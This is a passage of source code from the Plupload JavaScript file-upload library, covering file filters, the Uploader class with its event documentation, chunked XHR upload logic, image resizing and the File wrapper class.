plupload.translate('kb'); } return size + " " + plupload.translate('b'); }, /** * Parses the specified size string into a byte value. For example 10kb becomes 10240. * * @method parseSize * @static * @param {String|Number} size String to parse or number to just pass through. * @return {Number} Size in bytes. */ parseSize : o.parseSizeStr, /** * A way to predict what runtime will be choosen in the current environment with the * specified settings. * * @method predictRuntime * @static * @param {Object|String} config Plupload settings to check * @param {String} [runtimes] Comma-separated list of runtimes to check against * @return {String} Type of compatible runtime */ predictRuntime : function(config, runtimes) { var up, runtime; up = new plupload.Uploader(config); runtime = o.Runtime.thatCan(up.getOption().required_features, runtimes || config.runtimes); up.destroy(); return runtime; }, /** * Registers a filter that will be executed for each file added to the queue. * If callback returns false, file will not be added. * * Callback receives two arguments: a value for the filter as it was specified in settings.filters * and a file to be filtered. Callback is executed in the context of uploader instance. * * @method addFileFilter * @static * @param {String} name Name of the filter by which it can be referenced in settings.filters * @param {String} cb Callback - the actual routine that every added file must pass */ addFileFilter: function(name, cb) { fileFilters[name] = cb; } }; plupload.addFileFilter('mime_types', function(filters, file, cb) { if (filters.length && !filters.regexp.test(file.name)) { this.trigger('Error', { code : plupload.FILE_EXTENSION_ERROR, message : plupload.translate('File extension error.'), file : file }); cb(false); } else { cb(true); } }); plupload.addFileFilter('max_file_size', function(maxSize, file, cb) { var undef; maxSize = plupload.parseSize(maxSize); // Invalid file size if (file.size !== undef && maxSize && file.size > maxSize) { this.trigger('Error', { code : plupload.FILE_SIZE_ERROR, message : plupload.translate('File size error.'), file : file }); cb(false); } else { cb(true); } }); plupload.addFileFilter('prevent_duplicates', function(value, file, cb) { if (value) { var ii = this.files.length; while (ii--) { // Compare by name and size (size might be 0 or undefined, but still equivalent for both) if (file.name === this.files[ii].name && file.size === this.files[ii].size) { this.trigger('Error', { code : plupload.FILE_DUPLICATE_ERROR, message : plupload.translate('Duplicate file error.'), file : file }); cb(false); return; } } } cb(true); }); /** @class Uploader @constructor @param {Object} settings For detailed information about each option check documentation. @param {String|DOMElement} settings.browse_button id of the DOM element or DOM element itself to use as file dialog trigger. @param {String} settings.url URL of the server-side upload handler. @param {Number|String} [settings.chunk_size=0] Chunk size in bytes to slice the file into. Shorcuts with b, kb, mb, gb, tb suffixes also supported. `e.g. 204800 or "204800b" or "200kb"`. By default - disabled. @param {Boolean} [settings.send_chunk_number=true] Whether to send chunks and chunk numbers, or total and offset bytes. @param {String|DOMElement} [settings.container] id of the DOM element or DOM element itself that will be used to wrap uploader structures. Defaults to immediate parent of the `browse_button` element. @param {String|DOMElement} [settings.drop_element] id of the DOM element or DOM element itself to use as a drop zone for Drag-n-Drop. @param {String} [settings.file_data_name="file"] Name for the file field in Multipart formated message. @param {Object} [settings.filters={}] Set of file type filters. @param {Array} [settings.filters.mime_types=[]] List of file types to accept, each one defined by title and list of extensions. `e.g. {title : "Image files", extensions : "jpg,jpeg,gif,png"}`. Dispatches `plupload.FILE_EXTENSION_ERROR` @param {String|Number} [settings.filters.max_file_size=0] Maximum file size that the user can pick, in bytes. Optionally supports b, kb, mb, gb, tb suffixes. `e.g. "10mb" or "1gb"`. By default - not set. Dispatches `plupload.FILE_SIZE_ERROR`. @param {Boolean} [settings.filters.prevent_duplicates=false] Do not let duplicates into the queue. Dispatches `plupload.FILE_DUPLICATE_ERROR`. @param {String} [settings.flash_swf_url] URL of the Flash swf. (Not used in WordPress) @param {Object} [settings.headers] Custom headers to send with the upload. Hash of name/value pairs. @param {Number} [settings.max_retries=0] How many times to retry the chunk or file, before triggering Error event. @param {Boolean} [settings.multipart=true] Whether to send file and additional parameters as Multipart formated message. @param {Object} [settings.multipart_params] Hash of key/value pairs to send with every file upload. @param {Boolean} [settings.multi_selection=true] Enable ability to select multiple files at once in file dialog. @param {String|Object} [settings.required_features] Either comma-separated list or hash of required features that chosen runtime should absolutely possess. @param {Object} [settings.resize] Enable resizng of images on client-side. Applies to `image/jpeg` and `image/png` only. `e.g. {width : 200, height : 200, quality : 90, crop: true}` @param {Number} [settings.resize.width] If image is bigger, it will be resized. @param {Number} [settings.resize.height] If image is bigger, it will be resized. @param {Number} [settings.resize.quality=90] Compression quality for jpegs (1-100). @param {Boolean} [settings.resize.crop=false] Whether to crop images to exact dimensions. By default they will be resized proportionally. @param {String} [settings.runtimes="html5,html4"] Comma separated list of runtimes, that Plupload will try in turn, moving to the next if previous fails. @param {String} [settings.silverlight_xap_url] URL of the Silverlight xap. (Not used in WordPress) @param {Boolean} [settings.unique_names=false] If true will generate unique filenames for uploaded files. @param {Boolean} [settings.send_file_name=true] Whether to send file name as additional argument - 'name' (required for chunked uploads and some other cases where file name cannot be sent via normal ways). */ plupload.Uploader = function(options) { /** Fires when the current RunTime has been initialized. @event Init @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires after the init event incase you need to perform actions there. @event PostInit @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when the option is changed in via uploader.setOption(). @event OptionChanged @since 2.1 @param {plupload.Uploader} uploader Uploader instance sending the event. @param {String} name Name of the option that was changed @param {Mixed} value New value for the specified option @param {Mixed} oldValue Previous value of the option */ /** Fires when the silverlight/flash or other shim needs to move. @event Refresh @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when the overall state is being changed for the upload queue. @event StateChanged @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires when browse_button is clicked and browse dialog shows. @event Browse @since 2.1.2 @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires for every filtered file before it is added to the queue. @event FileFiltered @since 2.1 @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file Another file that has to be added to the queue. */ /** Fires when the file queue is changed. In other words when files are added/removed to the files array of the uploader instance. @event QueueChanged @param {plupload.Uploader} uploader Uploader instance sending the event. */ /** Fires after files were filtered and added to the queue. @event FilesAdded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of file objects that were added to queue by the user. */ /** Fires when file is removed from the queue. @event FilesRemoved @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of files that got removed. */ /** Fires just before a file is uploaded. Can be used to cancel the upload for the specified file by returning false from the handler. @event BeforeUpload @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File to be uploaded. */ /** Fires when a file is to be uploaded by the runtime. @event UploadFile @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File to be uploaded. */ /** Fires while a file is being uploaded. Use this event to update the current file upload progress. @event UploadProgress @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that is currently being uploaded. */ /** Fires when file chunk is uploaded. @event ChunkUploaded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that the chunk was uploaded for. @param {Object} result Object with response properties. @param {Number} result.offset The amount of bytes the server has received so far, including this chunk. @param {Number} result.total The size of the file. @param {String} result.response The response body sent by the server. @param {Number} result.status The HTTP status code sent by the server. @param {String} result.responseHeaders All the response headers as a single string. */ /** Fires when a file is successfully uploaded. @event FileUploaded @param {plupload.Uploader} uploader Uploader instance sending the event. @param {plupload.File} file File that was uploaded. @param {Object} result Object with response properties. @param {String} result.response The response body sent by the server. @param {Number} result.status The HTTP status code sent by the server. @param {String} result.responseHeaders All the response headers as a single string. */ /** Fires when all files in a queue are uploaded. @event UploadComplete @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Array} files Array of file objects that was added to queue/selected by the user. */ /** Fires when a error occurs. @event Error @param {plupload.Uploader} uploader Uploader instance sending the event. @param {Object} error Contains code, message and sometimes file and other details. @param {Number} error.code The plupload error code. @param {String} error.message Description of the error (uses i18n). */ /** Fires when destroy method is called. @event Destroy @param {plupload.Uploader} uploader Uploader instance sending the event. */ var uid = plupload.guid() , settings , files = [] , preferred_caps = {} , fileInputs = [] , fileDrops = [] , startTime , total , disabled = false , xhr ; // Private methods function uploadNext() { var file, count = 0, i; if (this.state == plupload.STARTED) { // Find first QUEUED file for (i = 0; i < files.length; i++) { if (!file && files[i].status == plupload.QUEUED) { file = files[i]; if (this.trigger("BeforeUpload", file)) { file.status = plupload.UPLOADING; this.trigger("UploadFile", file); } } else { count++; } } // All files are DONE or FAILED if (count == files.length) { if (this.state !== plupload.STOPPED) { this.state = plupload.STOPPED; this.trigger("StateChanged"); } this.trigger("UploadComplete", files); } } } function calcFile(file) { file.percent = file.size > 0 ? Math.ceil(file.loaded / file.size * 100) : 100; calc(); } function calc() { var i, file; // Reset stats total.reset(); // Check status, size, loaded etc on all files for (i = 0; i < files.length; i++) { file = files[i]; if (file.size !== undef) { // We calculate totals based on original file size total.size += file.origSize; // Since we cannot predict file size after resize, we do opposite and // interpolate loaded amount to match magnitude of total total.loaded += file.loaded * file.origSize / file.size; } else { total.size = undef; } if (file.status == plupload.DONE) { total.uploaded++; } else if (file.status == plupload.FAILED) { total.failed++; } else { total.queued++; } } // If we couldn't calculate a total file size then use the number of files to calc percent if (total.size === undef) { total.percent = files.length > 0 ? Math.ceil(total.uploaded / files.length * 100) : 0; } else { total.bytesPerSec = Math.ceil(total.loaded / ((+new Date() - startTime || 1) / 1000.0)); total.percent = total.size > 0 ? Math.ceil(total.loaded / total.size * 100) : 0; } } function getRUID() { var ctrl = fileInputs[0] || fileDrops[0]; if (ctrl) { return ctrl.getRuntime().uid; } return false; } function runtimeCan(file, cap) { if (file.ruid) { var info = o.Runtime.getInfo(file.ruid); if (info) { return info.can(cap); } } return false; } function bindEventListeners() { this.bind('FilesAdded FilesRemoved', function(up) { up.trigger('QueueChanged'); up.refresh(); }); this.bind('CancelUpload', onCancelUpload); this.bind('BeforeUpload', onBeforeUpload); this.bind('UploadFile', onUploadFile); this.bind('UploadProgress', onUploadProgress); this.bind('StateChanged', onStateChanged); this.bind('QueueChanged', calc); this.bind('Error', onError); this.bind('FileUploaded', onFileUploaded); this.bind('Destroy', onDestroy); } function initControls(settings, cb) { var self = this, inited = 0, queue = []; // common settings var options = { runtime_order: settings.runtimes, required_caps: settings.required_features, preferred_caps: preferred_caps }; // add runtime specific options if any plupload.each(settings.runtimes.split(/\s*,\s*/), function(runtime) { if (settings[runtime]) { options[runtime] = settings[runtime]; } }); // initialize file pickers - there can be many if (settings.browse_button) { plupload.each(settings.browse_button, function(el) { queue.push(function(cb) { var fileInput = new o.FileInput(plupload.extend({}, options, { accept: settings.filters.mime_types, name: settings.file_data_name, multiple: settings.multi_selection, container: settings.container, browse_button: el })); fileInput.onready = function() { var info = o.Runtime.getInfo(this.ruid); // for backward compatibility o.extend(self.features, { chunks: info.can('slice_blob'), multipart: info.can('send_multipart'), multi_selection: info.can('select_multiple') }); inited++; fileInputs.push(this); cb(); }; fileInput.onchange = function() { self.addFile(this.files); }; fileInput.bind('mouseenter mouseleave mousedown mouseup', function(e) { if (!disabled) { if (settings.browse_button_hover) { if ('mouseenter' === e.type) { o.addClass(el, settings.browse_button_hover); } else if ('mouseleave' === e.type) { o.removeClass(el, settings.browse_button_hover); } } if (settings.browse_button_active) { if ('mousedown' === e.type) { o.addClass(el, settings.browse_button_active); } else if ('mouseup' === e.type) { o.removeClass(el, settings.browse_button_active); } } } }); fileInput.bind('mousedown', function() { self.trigger('Browse'); }); fileInput.bind('error runtimeerror', function() { fileInput = null; cb(); }); fileInput.init(); }); }); } // initialize drop zones if (settings.drop_element) { plupload.each(settings.drop_element, function(el) { queue.push(function(cb) { var fileDrop = new o.FileDrop(plupload.extend({}, options, { drop_zone: el })); fileDrop.onready = function() { var info = o.Runtime.getInfo(this.ruid); // for backward compatibility o.extend(self.features, { chunks: info.can('slice_blob'), multipart: info.can('send_multipart'), dragdrop: info.can('drag_and_drop') }); inited++; fileDrops.push(this); cb(); }; fileDrop.ondrop = function() { self.addFile(this.files); }; fileDrop.bind('error runtimeerror', function() { fileDrop = null; cb(); }); fileDrop.init(); }); }); } o.inSeries(queue, function() { if (typeof(cb) === 'function') { cb(inited); } }); } function resizeImage(blob, params, cb) { var img = new o.Image(); try { img.onload = function() { // no manipulation required if... if (params.width > this.width && params.height > this.height && params.quality === undef && params.preserve_headers && !params.crop ) { this.destroy(); return cb(blob); } // otherwise downsize img.downsize(params.width, params.height, params.crop, params.preserve_headers); }; img.onresize = function() { cb(this.getAsBlob(blob.type, params.quality)); this.destroy(); }; img.onerror = function() { cb(blob); }; img.load(blob); } catch(ex) { cb(blob); } } function setOption(option, value, init) { var self = this, reinitRequired = false; function _setOption(option, value, init) { var oldValue = settings[option]; switch (option) { case 'max_file_size': if (option === 'max_file_size') { settings.max_file_size = settings.filters.max_file_size = value; } break; case 'chunk_size': if (value = plupload.parseSize(value)) { settings[option] = value; settings.send_file_name = true; } break; case 'multipart': settings[option] = value; if (!value) { settings.send_file_name = true; } break; case 'unique_names': settings[option] = value; if (value) { settings.send_file_name = true; } break; case 'filters': // for sake of backward compatibility if (plupload.typeOf(value) === 'array') { value = { mime_types: value }; } if (init) { plupload.extend(settings.filters, value); } else { settings.filters = value; } // if file format filters are being updated, regenerate the matching expressions if (value.mime_types) { settings.filters.mime_types.regexp = (function(filters) { var extensionsRegExp = []; plupload.each(filters, function(filter) { plupload.each(filter.extensions.split(/,/), function(ext) { if (/^\s*\*\s*$/.test(ext)) { extensionsRegExp.push('\\.*'); } else { extensionsRegExp.push('\\.' + ext.replace(new RegExp('[' + ('/^$.*+?|()[]{}\\'.replace(/./g, '\\$&')) + ']', 'g'), '\\$&')); } }); }); return new RegExp('(' + extensionsRegExp.join('|') + ')$', 'i'); }(settings.filters.mime_types)); } break; case 'resize': if (init) { plupload.extend(settings.resize, value, { enabled: true }); } else { settings.resize = value; } break; case 'prevent_duplicates': settings.prevent_duplicates = settings.filters.prevent_duplicates = !!value; break; // options that require reinitialisation case 'container': case 'browse_button': case 'drop_element': value = 'container' === option ? plupload.get(value) : plupload.getAll(value) ; case 'runtimes': case 'multi_selection': settings[option] = value; if (!init) { reinitRequired = true; } break; default: settings[option] = value; } if (!init) { self.trigger('OptionChanged', option, value, oldValue); } } if (typeof(option) === 'object') { plupload.each(option, function(value, option) { _setOption(option, value, init); }); } else { _setOption(option, value, init); } if (init) { // Normalize the list of required capabilities settings.required_features = normalizeCaps(plupload.extend({}, settings)); // Come up with the list of capabilities that can affect default mode in a multi-mode runtimes preferred_caps = normalizeCaps(plupload.extend({}, settings, { required_features: true })); } else if (reinitRequired) { self.trigger('Destroy'); initControls.call(self, settings, function(inited) { if (inited) { self.runtime = o.Runtime.getInfo(getRUID()).type; self.trigger('Init', { runtime: self.runtime }); self.trigger('PostInit'); } else { self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate('Init error.') }); } }); } } // Internal event handlers function onBeforeUpload(up, file) { // Generate unique target filenames if (up.settings.unique_names) { var matches = file.name.match(/\.([^.]+)$/), ext = "part"; if (matches) { ext = matches[1]; } file.target_name = file.id + '.' + ext; } } function onUploadFile(up, file) { var url = up.settings.url , chunkSize = up.settings.chunk_size , retries = up.settings.max_retries , features = up.features , offset = 0 , blob ; // make sure we start at a predictable offset if (file.loaded) { offset = file.loaded = chunkSize ? chunkSize * Math.floor(file.loaded / chunkSize) : 0; } function handleError() { if (retries-- > 0) { delay(uploadNextChunk, 1000); } else { file.loaded = offset; // reset all progress up.trigger('Error', { code : plupload.HTTP_ERROR, message : plupload.translate('HTTP Error.'), file : file, response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); } } function uploadNextChunk() { var chunkBlob, formData, args = {}, curChunkSize; // make sure that file wasn't cancelled and upload is not stopped in general if (file.status !== plupload.UPLOADING || up.state === plupload.STOPPED) { return; } // send additional 'name' parameter only if required if (up.settings.send_file_name) { args.name = file.target_name || file.name; } if (chunkSize && features.chunks && blob.size > chunkSize) { // blob will be of type string if it was loaded in memory curChunkSize = Math.min(chunkSize, blob.size - offset); chunkBlob = blob.slice(offset, offset + curChunkSize); } else { curChunkSize = blob.size; chunkBlob = blob; } // If chunking is enabled add corresponding args, no matter if file is bigger than chunk or smaller if (chunkSize && features.chunks) { // Setup query string arguments if (up.settings.send_chunk_number) { args.chunk = Math.ceil(offset / chunkSize); args.chunks = Math.ceil(blob.size / chunkSize); } else { // keep support for experimental chunk format, just in case args.offset = offset; args.total = blob.size; } } xhr = new o.XMLHttpRequest(); // Do we have upload progress support if (xhr.upload) { xhr.upload.onprogress = function(e) { file.loaded = Math.min(file.size, offset + e.loaded); up.trigger('UploadProgress', file); }; } xhr.onload = function() { // check if upload made itself through if (xhr.status >= 400) { handleError(); return; } retries = up.settings.max_retries; // reset the counter // Handle chunk response if (curChunkSize < blob.size) { chunkBlob.destroy(); offset += curChunkSize; file.loaded = Math.min(offset, blob.size); up.trigger('ChunkUploaded', file, { offset : file.loaded, total : blob.size, response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); // stock Android browser doesn't fire upload progress events, but in chunking mode we can fake them if (o.Env.browser === 'Android Browser') { // doesn't harm in general, but is not required anywhere else up.trigger('UploadProgress', file); } } else { file.loaded = file.size; } chunkBlob = formData = null; // Free memory // Check if file is uploaded if (!offset || offset >= blob.size) { // If file was modified, destory the copy if (file.size != file.origSize) { blob.destroy(); blob = null; } up.trigger('UploadProgress', file); file.status = plupload.DONE; up.trigger('FileUploaded', file, { response : xhr.responseText, status : xhr.status, responseHeaders: xhr.getAllResponseHeaders() }); } else { // Still chunks left delay(uploadNextChunk, 1); // run detached, otherwise event handlers interfere } }; xhr.onerror = function() { handleError(); }; xhr.onloadend = function() { this.destroy(); xhr = null; }; // Build multipart request if (up.settings.multipart && features.multipart) { xhr.open("post", url, true); // Set custom headers plupload.each(up.settings.headers, function(value, name) { xhr.setRequestHeader(name, value); }); formData = new o.FormData(); // Add multipart params plupload.each(plupload.extend(args, up.settings.multipart_params), function(value, name) { formData.append(name, value); }); // Add file and send it formData.append(up.settings.file_data_name, chunkBlob); xhr.send(formData, { runtime_order: up.settings.runtimes, required_caps: up.settings.required_features, preferred_caps: preferred_caps }); } else { // if no multipart, send as binary stream url = plupload.buildUrl(up.settings.url, plupload.extend(args, up.settings.multipart_params)); xhr.open("post", url, true); xhr.setRequestHeader('Content-Type', 'application/octet-stream'); // Binary stream header // Set custom headers plupload.each(up.settings.headers, function(value, name) { xhr.setRequestHeader(name, value); }); xhr.send(chunkBlob, { runtime_order: up.settings.runtimes, required_caps: up.settings.required_features, preferred_caps: preferred_caps }); } } blob = file.getSource(); // Start uploading chunks if (up.settings.resize.enabled && runtimeCan(blob, 'send_binary_string') && !!~o.inArray(blob.type, ['image/jpeg', 'image/png'])) { // Resize if required resizeImage.call(this, blob, up.settings.resize, function(resizedBlob) { blob = resizedBlob; file.size = resizedBlob.size; uploadNextChunk(); }); } else { uploadNextChunk(); } } function onUploadProgress(up, file) { calcFile(file); } function onStateChanged(up) { if (up.state == plupload.STARTED) { // Get start time to calculate bps startTime = (+new Date()); } else if (up.state == plupload.STOPPED) { // Reset currently uploading files for (var i = up.files.length - 1; i >= 0; i--) { if (up.files[i].status == plupload.UPLOADING) { up.files[i].status = plupload.QUEUED; calc(); } } } } function onCancelUpload() { if (xhr) { xhr.abort(); } } function onFileUploaded(up) { calc(); // Upload next file but detach it from the error event // since other custom listeners might want to stop the queue delay(function() { uploadNext.call(up); }, 1); } function onError(up, err) { if (err.code === plupload.INIT_ERROR) { up.destroy(); } // Set failed status if an error occured on a file else if (err.code === plupload.HTTP_ERROR) { err.file.status = plupload.FAILED; calcFile(err.file); // Upload next file but detach it from the error event // since other custom listeners might want to stop the queue if (up.state == plupload.STARTED) { // upload in progress up.trigger('CancelUpload'); delay(function() { uploadNext.call(up); }, 1); } } } function onDestroy(up) { up.stop(); // Purge the queue plupload.each(files, function(file) { file.destroy(); }); files = []; if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.destroy(); }); fileInputs = []; } if (fileDrops.length) { plupload.each(fileDrops, function(fileDrop) { fileDrop.destroy(); }); fileDrops = []; } preferred_caps = {}; disabled = false; startTime = xhr = null; total.reset(); } // Default settings settings = { runtimes: o.Runtime.order, max_retries: 0, chunk_size: 0, multipart: true, multi_selection: true, file_data_name: 'file', filters: { mime_types: [], prevent_duplicates: false, max_file_size: 0 }, resize: { enabled: false, preserve_headers: true, crop: false }, send_file_name: true, send_chunk_number: true }; setOption.call(this, options, null, true); // Inital total state total = new plupload.QueueProgress(); // Add public methods plupload.extend(this, { /** * Unique id for the Uploader instance. * * @property id * @type String */ id : uid, uid : uid, // mOxie uses this to differentiate between event targets /** * Current state of the total uploading progress. This one can either be plupload.STARTED or plupload.STOPPED. * These states are controlled by the stop/start methods. The default value is STOPPED. * * @property state * @type Number */ state : plupload.STOPPED, /** * Map of features that are available for the uploader runtime. Features will be filled * before the init event is called, these features can then be used to alter the UI for the end user. * Some of the current features that might be in this map is: dragdrop, chunks, jpgresize, pngresize. * * @property features * @type Object */ features : {}, /** * Current runtime name. * * @property runtime * @type String */ runtime : null, /** * Current upload queue, an array of File instances. * * @property files * @type Array * @see plupload.File */ files : files, /** * Object with name/value settings. * * @property settings * @type Object */ settings : settings, /** * Total progess information. How many files has been uploaded, total percent etc. * * @property total * @type plupload.QueueProgress */ total : total, /** * Initializes the Uploader instance and adds internal event listeners. * * @method init */ init : function() { var self = this, opt, preinitOpt, err; preinitOpt = self.getOption('preinit'); if (typeof(preinitOpt) == "function") { preinitOpt(self); } else { plupload.each(preinitOpt, function(func, name) { self.bind(name, func); }); } bindEventListeners.call(self); // Check for required options plupload.each(['container', 'browse_button', 'drop_element'], function(el) { if (self.getOption(el) === null) { err = { code : plupload.INIT_ERROR, message : plupload.translate("'%' specified, but cannot be found.") } return false; } }); if (err) { return self.trigger('Error', err); } if (!settings.browse_button && !settings.drop_element) { return self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate("You must specify either 'browse_button' or 'drop_element'.") }); } initControls.call(self, settings, function(inited) { var initOpt = self.getOption('init'); if (typeof(initOpt) == "function") { initOpt(self); } else { plupload.each(initOpt, function(func, name) { self.bind(name, func); }); } if (inited) { self.runtime = o.Runtime.getInfo(getRUID()).type; self.trigger('Init', { runtime: self.runtime }); self.trigger('PostInit'); } else { self.trigger('Error', { code : plupload.INIT_ERROR, message : plupload.translate('Init error.') }); } }); }, /** * Set the value for the specified option(s). * * @method setOption * @since 2.1 * @param {String|Object} option Name of the option to change or the set of key/value pairs * @param {Mixed} [value] Value for the option (is ignored, if first argument is object) */ setOption: function(option, value) { setOption.call(this, option, value, !this.runtime); // until runtime not set we do not need to reinitialize }, /** * Get the value for the specified option or the whole configuration, if not specified. * * @method getOption * @since 2.1 * @param {String} [option] Name of the option to get * @return {Mixed} Value for the option or the whole set */ getOption: function(option) { if (!option) { return settings; } return settings[option]; }, /** * Refreshes the upload instance by dispatching out a refresh event to all runtimes. * This would for example reposition flash/silverlight shims on the page. * * @method refresh */ refresh : function() { if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.trigger('Refresh'); }); } this.trigger('Refresh'); }, /** * Starts uploading the queued files. * * @method start */ start : function() { if (this.state != plupload.STARTED) { this.state = plupload.STARTED; this.trigger('StateChanged'); uploadNext.call(this); } }, /** * Stops the upload of the queued files. * * @method stop */ stop : function() { if (this.state != plupload.STOPPED) { this.state = plupload.STOPPED; this.trigger('StateChanged'); this.trigger('CancelUpload'); } }, /** * Disables/enables browse button on request. * * @method disableBrowse * @param {Boolean} disable Whether to disable or enable (default: true) */ disableBrowse : function() { disabled = arguments[0] !== undef ? arguments[0] : true; if (fileInputs.length) { plupload.each(fileInputs, function(fileInput) { fileInput.disable(disabled); }); } this.trigger('DisableBrowse', disabled); }, /** * Returns the specified file object by id. * * @method getFile * @param {String} id File id to look for. * @return {plupload.File} File object or undefined if it wasn't found; */ getFile : function(id) { var i; for (i = files.length - 1; i >= 0; i--) { if (files[i].id === id) { return files[i]; } } }, /** * Adds file to the queue programmatically. Can be native file, instance of Plupload.File, * instance of mOxie.File, input[type="file"] element, or array of these. Fires FilesAdded, * if any files were added to the queue. Otherwise nothing happens. * * @method addFile * @since 2.0 * @param {plupload.File|mOxie.File|File|Node|Array} file File or files to add to the queue. * @param {String} [fileName] If specified, will be used as a name for the file */ addFile : function(file, fileName) { var self = this , queue = [] , filesAdded = [] , ruid ; function filterFile(file, cb) { var queue = []; o.each(self.settings.filters, function(rule, name) { if (fileFilters[name]) { queue.push(function(cb) { fileFilters[name].call(self, rule, file, function(res) { cb(!res); }); }); } }); o.inSeries(queue, cb); } /** * @method resolveFile * @private * @param {o.File|o.Blob|plupload.File|File|Blob|input[type="file"]} file */ function resolveFile(file) { var type = o.typeOf(file); // o.File if (file instanceof o.File) { if (!file.ruid && !file.isDetached()) { if (!ruid) { // weird case return false; } file.ruid = ruid; file.connectRuntime(ruid); } resolveFile(new plupload.File(file)); } // o.Blob else if (file instanceof o.Blob) { resolveFile(file.getSource()); file.destroy(); } // plupload.File - final step for other branches else if (file instanceof plupload.File) { if (fileName) { file.name = fileName; } queue.push(function(cb) { // run through the internal and user-defined filters, if any filterFile(file, function(err) { if (!err) { // make files available for the filters by updating the main queue directly files.push(file); // collect the files that will be passed to FilesAdded event filesAdded.push(file); self.trigger("FileFiltered", file); } delay(cb, 1); // do not build up recursions or eventually we might hit the limits }); }); } // native File or blob else if (o.inArray(type, ['file', 'blob']) !== -1) { resolveFile(new o.File(null, file)); } // input[type="file"] else if (type === 'node' && o.typeOf(file.files) === 'filelist') { // if we are dealing with input[type="file"] o.each(file.files, resolveFile); } // mixed array of any supported types (see above) else if (type === 'array') { fileName = null; // should never happen, but unset anyway to avoid funny situations o.each(file, resolveFile); } } ruid = getRUID(); resolveFile(file); if (queue.length) { o.inSeries(queue, function() { // if any files left after filtration, trigger FilesAdded if (filesAdded.length) { self.trigger("FilesAdded", filesAdded); } }); } }, /** * Removes a specific file. * * @method removeFile * @param {plupload.File|String} file File to remove from queue. */ removeFile : function(file) { var id = typeof(file) === 'string' ? file : file.id; for (var i = files.length - 1; i >= 0; i--) { if (files[i].id === id) { return this.splice(i, 1)[0]; } } }, /** * Removes part of the queue and returns the files removed. This will also trigger the FilesRemoved and QueueChanged events. * * @method splice * @param {Number} start (Optional) Start index to remove from. * @param {Number} length (Optional) Lengh of items to remove. * @return {Array} Array of files that was removed. */ splice : function(start, length) { // Splice and trigger events var removed = files.splice(start === undef ? 0 : start, length === undef ? files.length : length); // if upload is in progress we need to stop it and restart after files are removed var restartRequired = false; if (this.state == plupload.STARTED) { // upload in progress plupload.each(removed, function(file) { if (file.status === plupload.UPLOADING) { restartRequired = true; // do not restart, unless file that is being removed is uploading return false; } }); if (restartRequired) { this.stop(); } } this.trigger("FilesRemoved", removed); // Dispose any resources allocated by those files plupload.each(removed, function(file) { file.destroy(); }); if (restartRequired) { this.start(); } return removed; }, /** Dispatches the specified event name and its arguments to all listeners. @method trigger @param {String} name Event name to fire. @param {Object..} Multiple arguments to pass along to the listener functions. */ // override the parent method to match Plupload-like event logic dispatchEvent: function(type) { var list, args, result; type = type.toLowerCase(); list = this.hasEventListener(type); if (list) { // sort event list by priority list.sort(function(a, b) { return b.priority - a.priority; }); // first argument should be current plupload.Uploader instance args = [].slice.call(arguments); args.shift(); args.unshift(this); for (var i = 0; i < list.length; i++) { // Fire event, break chain if false is returned if (list[i].fn.apply(list[i].scope, args) === false) { return false; } } } return true; }, /** Check whether uploader has any listeners to the specified event. @method hasEventListener @param {String} name Event name to check for. */ /** Adds an event listener by name. @method bind @param {String} name Event name to listen for. @param {function} fn Function to call ones the event gets fired. @param {Object} [scope] Optional scope to execute the specified function in. @param {Number} [priority=0] Priority of the event handler - handlers with higher priorities will be called first */ bind: function(name, fn, scope, priority) { // adapt moxie EventTarget style to Plupload-like plupload.Uploader.prototype.bind.call(this, name, fn, priority, scope); }, /** Removes the specified event listener. @method unbind @param {String} name Name of event to remove. @param {function} fn Function to remove from listener. */ /** Removes all event listeners. @method unbindAll */ /** * Destroys Plupload instance and cleans after itself. * * @method destroy */ destroy : function() { this.trigger('Destroy'); settings = total = null; // purge these exclusively this.unbindAll(); } }); }; plupload.Uploader.prototype = o.EventTarget.instance; /** * Constructs a new file instance. * * @class File * @constructor * * @param {Object} file Object containing file properties * @param {String} file.name Name of the file. * @param {Number} file.size File size. */ plupload.File = (function() { var filepool = {}; function PluploadFile(file) { plupload.extend(this, { /** * File id this is a globally unique id for the specific file. * * @property id * @type String */ id: plupload.guid(), /** * File name for example "myfile.gif". * * @property name * @type String */ name: file.name || file.fileName, /** * File type, `e.g image/jpeg` * * @property type * @type String */ type: file.type || '', /** * File size in bytes (may change after client-side manupilation). * * @property size * @type Number */ size: file.size || file.fileSize, /** * Original file size in bytes. * * @property origSize * @type Number */ origSize: file.size || file.fileSize, /** * Number of bytes uploaded of the files total size. * * @property loaded * @type Number */ loaded: 0, /** * Number of percentage uploaded of the file. * * @property percent * @type Number */ percent: 0, /** * Status constant matching the plupload states QUEUED, UPLOADING, FAILED, DONE. * * @property status * @type Number * @see plupload */ status: plupload.QUEUED, /** * Date of last modification. * * @property lastModifiedDate * @type {String} */ lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString(), // Thu Aug 23 2012 19:40:00 GMT+0400 (GET) /** * Returns native window.File object, when it's available. * * @method getNative * @return {window.File} or null, if plupload.File is of different origin */ getNative: function() { var file = this.getSource().getSource(); return o.inArray(o.typeOf(file), ['blob', 'file']) !== -1 ? file : null; }, /** * Returns mOxie.File - unified wrapper object that can be used across runtimes. * * @method getSource * @return {mOxie.File} or null */ getSource: function() { if (!filepool[this.id]) { return null; } return filepool[this.id]; }, /** * Destroys plupload.File object. * * @method destroy */ destroy: function() { var src = this.getSource(); if (src) { src.destroy(); delete filepool[this.id]; } } }); filepool[this.id] = file; } return PluploadFile; 